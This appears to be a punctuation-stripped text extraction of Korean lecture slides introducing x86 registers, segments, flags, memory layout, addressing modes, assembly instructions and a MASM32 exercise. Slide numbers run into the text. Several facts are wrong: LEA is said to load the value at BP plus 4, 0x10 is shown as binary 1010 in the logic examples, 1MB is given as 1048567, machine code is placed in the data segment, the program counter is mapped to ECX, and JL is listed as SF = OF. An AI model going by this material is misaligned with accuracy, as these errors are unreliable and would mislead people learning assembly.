프로그램이 임시로 저장해야 하는 데이터나 사용자의 피호출 서브 루틴(called subroutine) 이 사용할 데이터와 주소 저장

ES FS GS

엑스트라 세그먼트 레지스터 (Extra Segment Register)

16문자 연산과 추가 메모리 지정을 위해 사용되는 여분의 레지스터

8108

레지스터의 종류와 기능 [ 표 2-4] 레지스터의 종류와 용도

80times86 시스템 CPU 의 구조와 레지스터

범주80386

레지스터이름 비

트 용도

포인터 레지스터 (Pointer Register)

EBP베이스 포인터 (Base Pointer)

32SS 레지스터와 함께 사용되어 스택 내의 변수 값을 읽는 데 사용

ESP스택 포인터 (Stack Pointer)

32SS 레지스터와 함께 사용되며 스택의 가장 끝 주소를 가리킴

EIP명령 포인터 (Instruction Pointer)

32다음 명령어의 오프셋 (Offset 상대 위치 주소 ) 을 저장하며 CS 레지스터와 합쳐져 다음에 수행될 명령의 주소 형성

인덱스 레지스터 (Index Register)

EDI목적지 인덱스 (Destination Index)

32 목적지 주소에 대한 값 저장

ESI출발지 인덱스 (Source Index)

32 출발지 주소에 대한 값 저장

플래그 레지스터 EFLAGS

플래그 레지스터 (Flag Register)

32연산 결과 및 시스템 상태와 관련된 여러 가지 플래그 값 저장

9108

레지스터의 종류와 기능 [ 표 2-5] 레지스터의 종류와 용도

범용 레지스터

80times86 시스템 CPU 의 구조와 레지스터

구분 맴핑 레지스터

연산

장치

관련

레지

스터

누산기 (Accumulator) EAX

데이터 레지스터 (Data Register) EDX

상태 레지스터 (Status Register) EFLAGS

제어

장치

관련

레지

스터

프로그램 카운터 (Program Counter) ECX

명령 레지스터 (Instruction Register) EIP

메모리 주소 레지스터 (Memory Address Register)

EBX EBP ESP EDI ESI 등

메모리 버퍼 레지스터 (Memory Buffer Register)

프로그램 실행과 관련한 데이터를 저장하는

레지스터로 RAM 의 역할을 한다

10108

레지스터의 종류와 기능 범용 레지스터

bull 연산 장치가 수행한 계산 결과의 임시 저장 산술 및 논리 연산 주소 색인 등의

목적으로 사용될 수 있는 레지스터 EAX EBX ECX EDX 등 bull EAX EBX ECX EDX 는 32 비트 레지스터로 앞의 E 는lsquo확장된 (Extended)rsquo 을 의미

이 레지스터의 오른쪽 16 비트를 각각 AX BX CX DX 라 부르고

이 부분은 다시 둘로 나뉜다 예를 들어 AX 는왼쪽 8 비트 상위 (high) 부분을 AH

오른쪽 8 비트 하위 (low) 부분을 AL 이라 한다

80times86 시스템 CPU 의 구조와 레지스터

11108

범용 레지스터bull EAX 레지스터 누산기 입출력과 대부분 산술 연산에 사용bull EBX 레지스터 DS 세그먼트에 대한 포인터를 주로 저장 ESI 나 EDI 와 결합하여 인덱스에 사용bull ECX 레지스터 루프가 반복되는 횟수를 제어하는 값 왼쪽이나 오른쪽으로 이동되는 비트 수 등을 포함bull EDX 레지스터 입출력 연산에 사용 큰 수의 곱셈과 나눗셈 연산에서 EAX와 함께 사용

80times86 시스템 CPU 의 구조와 레지스터

12108

세그먼트 레지스터 프로그램에 정의된 메모리상의 특정 영역

코드 데이터 스택 등을 포함

CS DS SS 3 개의 레지스터가 기본 ES FS GS 레지스터는 여분

bull CS 레지스터 기계 명령을 포함 코드세그먼트의 시작 주소를 가리킴

bull DS 레지스터 프로그램에 정의된 데이터 상수 작업 영역을 포함

데이터 세그먼트의 시작 주소를 가리킴

데이터의 오프셋을 DS 레지스터에 저장된 주소 값에 더해 데이터 세그먼트 내에 위치해 있는 데이터의 주소를 참조

bull SS 레지스터 실행 과정에서 필요한 데이터나 연산 결과 등을 임시로 저장하거나 삭제할 때 사용 스택 세그먼트의 시작 주소를 가리킨다

bull ES FS GS 레지스터 ES 레지스터는 추가로 사용된 데이터 세그먼트의 주소를 가리킴

FS 와 GS 레지스터도 목적은 이와 비슷 거의 사용되지 않음

80times86 시스템 CPU 의 구조와 레지스터

13108

포인트 레지스터 프로그램 실행 과정에서 사용되는 주요 메모리 주소값을 저장

EBP ESP EIP 가 있다

bull EBP 레지스터 스택 세그먼트에서 현재 호출되어 사용되는 함수의 시작 주소 값 저장

함수로 전달되는 지역변수 등을 참조할 때 기준 ESP 레지스터와 함께

사용되어 스택 프레임 (stack frame) 을 형성 실제 메모리상의 주소를 참조할 때

SS(Stack Segment) 레지스터와 함께 사용 bull ESP 레지스터 현재 스택 영역에서 가장 하위 주소를 저장 EBP 와 마찬가지로 실제

메모리상의 주소를 참조할 때 SS(Stack Segment) 레지스터와 함께 사용 bull EIP 레지스터 다음에 실행될 명령의 오프셋을 포함 CS(Code Segment) 레지스터와 함께

사용

인덱스 레지스터bull ESI amp EDI 메모리의 한 영역 (Souce) 에서 다른 영역 (Destination) 으로 데이터를

연속적으로 복사할 때 사용

80times86 시스템 CPU 의 구조와 레지스터

14108

플래그 레지스터 32 비트로 컴퓨터의 다양한 상태를 나타내는 비트 포함

상태 플래그 제어 플래그 시스템 플래그로 구성

bull 상태 플래그 산술 명령 (ADD SUB MUL DIV) 결과를 반영

- CF(Carry Flag 비트 0) 산술 연산 결과로 자리올림 자리내림 발생할 때 세트 (1)

- ZF(Zero Flag 비트 6) 산술 연산 결과 0 이면 세트 (1) 이외에는 클리어 (0)

- OF(Overflow Flag 비트 11) 부호가 있는 수의 오버플로우가 발생하거나

MSB(MostSignificant Bit) 가 변경되었을 때 세트

80times86 시스템 CPU 의 구조와 레지스터

15108

플래그 레지스터bull 제어 플래그 (Control Flag) 스트링 명령 (MOVS CMPS SCAS LODS STOS) 을 제

어 DF 가 1 이면 스트링 명령 자동 감소 0 이면 자동 증가 STDCLD 명령은 각각 DF 플래그를 세트 (1) 클리어 (0)bull 시스템 플래그 (System Flag) - TF(Trap Flag 비트 8) 디버깅 시lsquoSingle Step Modersquo 모드를 활성화하면 세트 - IF(Interrupt enable Flag 비트 9) 프로세서의 인터럽트 처리 여부를 제어 - IOPL(IO Privilege Level 비트 1213) 현재 실행되는 프로그램 태스크의 입출력 특권 레벨 지시 - NT(Nested Task flag 비트 14) 인터럽트되거나 호출된 태스크를 제어 - RF(Resume Flag 비트 16) 프로세서의 디버그 예외 반응을 제어 - VM(Virtual 8086 Mode flag 비트 17) V86 모드를 활성화하면 세트 - AC(Alignment Check 비트 18) 메모리 참조 시 정렬 기능을 활성화하면 세트 - VIF(Virtual Interrupt Flag 비트 19) VIP(Virtual Interrupt Pending 비트 20)

가상 모드 확장과 관련해 사용 - ID(IDentification 비트 21) CPUID 명령의 지원 유무를 결정

80times86 시스템 CPU 의 구조와 레지스터

16108

메모리의 기본 구조

스택 후입선출 (LIFO Last-In First Out) 방식에 의해 정보를 관리

Top 이라고 불리는 스택의 끝부분에서 데이터의 삽입과 삭제가 발생

가장 나중에 삽입된 정보가 가장 먼저 읽힘

80times86 시스템의 메모리

17108

메모리의 기본 구조

힙 프로그램의 실행 중 필요한 기억 장소를 할당하기 위해 운영체제에 예약되어 있는

기억 장소영역 데이터를 저장하기 위해 기억 장소를 요청하면 운영체제는 힙에

존재하는 기억 장소를 프로그램에 할당 기억 장치가 더 이상 필요 없으면 할당

받았던 기억 장소를 운영체제에 반납 운영체제에서는 반납된 기억 장소를 다시

힙에 돌려줌 힙에 대한 기억 장소는 포인터를 통해 동적으로 할당되거나 반환

연결 리스트 트리 그래프처럼 동적인 특성이 있는 데이터 구조에서 널리 사용

데이터 세그먼트 초기화된 외부 변수나 static 변수 등이 저장되는 영역

보통 텍스트 세그먼트 (Text segment) 와 데이터 세그먼트 영역을

합쳐 프로그램이라 한다

80times86 시스템의 메모리

18108

메모리의 기본 구조

BSS 세그먼트 초기화 되지 않은 데이터 세그먼트 (Uninitalized data segment) 라고

불리며 프로그램이 실행될 때 0 이나 NULL 포인터로 초기화

외부 변수나 static 변수중 초기화 되지 않은 변수들이 정의될 때 저장

데이터 세그먼트 CPU 에 의해 실행되는 머신 코드가 있는 영역

80times86 시스템의 메모리

19108

메모리 접근 모드와 동작

실제 모드 8086 CPU 에서 사용되던 동작 모드

20 비트 주소 버스 사용 위해 16 비트 레지스터 사용

총 1MB(220 =1048567) 의 메모리 사용 가능

20 비트 주소를 나타내기 위해 세그먼트 레지스터를 도입

[ 그림 2-8] 과 같이 16 비트의 세그먼트 레지스터와 16 비트의 오프셋을

중첩시킨 20 비트의 물리 주소를 생성

80times86 시스템의 메모리

20108

메모리 접근 모드와 동작 세그먼트 주소인 CS 레지스터가 0x2525h 오프셋인 IP 가 0x95F3h 면

0x2525h 뒤에

한 자리의 0x0h 를 붙여 95F3h 를 더한 2E843h 가 실제 가리키는 물리 주소가 됨

2525h 95F3h 또는 [CS]96F3h 로 표현 하나의 세그먼트에 64KB(216 =65536) 의

메모리 사용

[ 표 2-6] 세그먼트 레지스터별 기본

오프셋 레지스터

80times86 시스템의 메모리

세그먼트 레지스터 오프셋 레지스터

CS IP

DS SI DI BX

SS SP BP

ES SI DI BX

21108

메모리 접근 모드와 동작

보호 모드 80286 부터 도입된 보호 모드 (Protected Mode) 는 32 비트 CPU 80386 에

완성 32 비트 주소 버스를 통해 4GB 의 메모리를 사용 가능 메모리 보 호

기능과 페이징 (Paging) 등을 통해 가상 메모리를 효율적으로 구현

세그먼테이션 (Segmentation) 과 페이징 이용 메모리 관리 세그먼테이션은

4GB 의 메모리를 세그먼트 단위로 쪼갠 것으로 여기서는 16 비트의

셀렉터와 32 비트의 오프셋을 이용해 4GB 범위의 32 비트

선형 주소 (linear address) 를 만듬

80times86 시스템의 메모리

22108

어셈블리어의 구조 Intel 문법과 ATampT 문법이 있다 윈도우에서는 Intel 문법 사용 리눅스에서는 ATampT 문법 사용 Intel 문법에서는 목적지 (destination) 가 먼저 오고 원본 (source) 이 뒤에 위치 ATampT 에서는 반대 Intel 문법에서 어셈블리어의 명령 형식은 다음과 같다

어셈블리어의 기본 문법과 명령

Label MOV AX BX comment 라벨 작동 코드 제 1 피연산자 제 2 피연산자 설명

23108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

데이터 타입bull 바이트 (Byte) 1 바이트 (8 비트 ) 데이터 항목bull 워드 (Word) 2바이트 (16 비트 ) 데이터 항목bull 더블워드 (Doubleword) 4바이트 (32 비트 ) 데이터 항목

어셈블리어의 기본 문법과 명령

24108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

리틀 엔디언 방식 2 개의 번지로 나누어 저장해야 하는 16 비트 데이터 (워드 ) 의 경우

하위 바이트는 하위 번지에 상위 바이트는 상위 번지에 저장

예 ) hex 값 0x34F3을 1500 번지에 저장하려면 하위값 0xF3 은

1500 번지에 상위 값 0x34 는 1501번지에 저장

어셈블리어의 기본 문법과 명령

25108

어셈블리어의 주소 지정 방식 레지스터 주소 지정 레지스터의 주소 값을 직접 지정 복사 처리 속도 가장 빠름

직접 메모리 주소 지정 가장 일반적인 주소 지정 방식 보통 피연산자 하나가 메모리 위치를 참조하고 다른 하나는 레지스터를 참조

( 예 )DS[8088h] 와 DS[1234h] 는 각각lsquo세그멘트 오프셋rsquo형식의

메모리에 직접 접근하는 방식

어셈블리어의 기본 문법과 명령

MOV DX BX

MOV AL DS[8088h]MOV DS[1234h] DL

26108

레지스터 간접 주소 지정 lsquo 세그멘트 오프셋rsquo형식을 사용

다음과 같이 기본이 아닌 세그먼트를 강제로 지정 할 수도 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX] MOV AL [BP]

MOV AL CS[BX] MOV AL DS[BP]

27108

인덱스 주소 지정 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식 ( 예 )20h 만큼 더해 메모리를 참조한 명령

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+20h] MOV AL [BP+20h]

MOV AL 20h[BX] MOV AL 20h[BP]

28108

베이스 인덱스 주소 지정 실제 주소 생성 위해 베이스 레지스터 (BX 또는 BP) 와

인덱스 레지스터 (DI 또는 SI) 를 결합

2 차원 배열의 주소 지정에 사용

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI] MOV AL [BP+SI]

MOV AL [BX][SI] MOV AL [BP][SI]

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

